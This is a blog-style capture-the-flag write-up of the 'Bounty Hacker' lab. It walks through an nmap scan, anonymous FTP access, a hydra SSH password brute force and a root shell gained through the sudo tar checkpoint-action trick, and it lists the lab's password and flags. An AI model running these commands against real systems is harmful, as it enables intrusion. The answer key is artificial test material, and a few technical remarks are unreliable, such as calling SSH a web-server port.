jon's l33t writeups

Bounty Hacker

by jon
completed on 03/14/2022

Target Information

I was given the IP Address <> and the following questions to answer:

1. Who wrote the task list?
2. What service can you bruteforce with the text file found?
3. What is the users password?
4. What's the user flag?
5. What's the root flag?

Recon Phase

I started with a standard NMAP[1] scan of the given IP Address. Below is the command and the results from the scan

```
root@kali:~/Desktop# nmap -sC -sV 10.10.147.24
Nmap scan report for ip-10-10-39-55.eu-west-1.compute.internal (10.10.39.55)
Host is up (0.00068s latency).
Not shown: 967 filtered ports, 30 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.88.101
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

[1] Note: From http(s)://nmap.org/ -- Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing.

|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:86:F6:E5:70:51 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We have three ports of interest in this scan: Port 21 is open and is running anonymous FTP logins. File Transfer Protocol Servers (FTP) run file sharing services. Anonymous logins mean anyone can download files from the FTP server. I also subsequently ran ENUM4LINUX which is an enumeration tool that enumerates a given Linux server. In this case, there were no significant findings. In addition to port 21, we can see port 22 and 80 which are standard web-server ports.
To further enumerate this target, I ran gobuster on port 80 to see if there are any directories of interest:

```
root@kali:~# gobuster dir -u http://10.10.147.24/ -x php,html,txt -q -t 15 -w /usr/share/wordlists/dirb/common.txt
/.htpasswd (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.txt (Status: 403)
/images (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
```

Based on the data returned from gobuster, there is nothing significant to report. The only vector of initial access at this point is the FTP server so I logged in using the following command and moved the files in the FTP server to my host machine. I tried to re-upload a file to the FTP server to see if I had the ability to do so and it came back with a permission denied message.

```
root@kali:~/Desktop# ftp 10.10.147.24
Connected to 10.10.147.24.
220 (vsFTPd 3.0.3)
Name (10.10.147.24:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Exploitation Phase

The FTP server had 2 .txt files named "locks.txt" which contained what appears to be a list of passwords, and "task.txt" which was a message from an individual named "lin" to perform tasks. This seems like our means for initial access; we have a potential username "lin" and a list

of passwords. We can bruteforce this list in SSH using HYDRA, which is a password bruteforce tool. Below is the command used to bruteforce SSH:

```
root@kali:~/Desktop/bounty# hydra -l lin -P locks.txt ssh://10.10.147.24 -f -VV -t 4
```

Success! We found a username as password. We can use this to login to SSH.

```
[22][ssh] host: 10.10.147.24   login: lin   password: RedDr4gonSynd1cat3
[STATUS] attack finished for 10.10.147.24 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
```

Privilege Escalation

I logged into SSH using the credentials above. I then manually enumerated lin's access using the following commands:

1. Whoami
    a. Lin
2. Id
    a. uid=1001(lin) gid=1001(lin) groups=1001(lin)
3. ls
    a. Found user.txt -- THM{CR1M3_SyNd1C4T3}
4. ls -al
    a. NSTR
5. sudo -l
    a. (root) /bin/tar

Using sudo -l promted a SUDO password. I used the SSH password and it seems that lin re-used the password (a note for readers to never re-use passwords). This gave the root permissions which is /bin/tar. I ran this bin in GTFOBINS[2] and the script to get root access was listed:

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

I pasted this script into lin's command line and got root access!

```
lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
```

Now that we found root.txt in the root folder, let's answer those questions.

[2] https://gtfobins.github.io/

Questions

1. Who wrote the task list?
   a. lin
2. What service can you bruteforce with the text file found?
   a. ssh
3. What is the users password?
   a. RedDr4gonSynd1cat3
4. What's the user flag?
   a. THM{CR1M3_SyNd1C4T3}
5. What's the root flag?
   a. THM{80UN7Y_h4cK3r}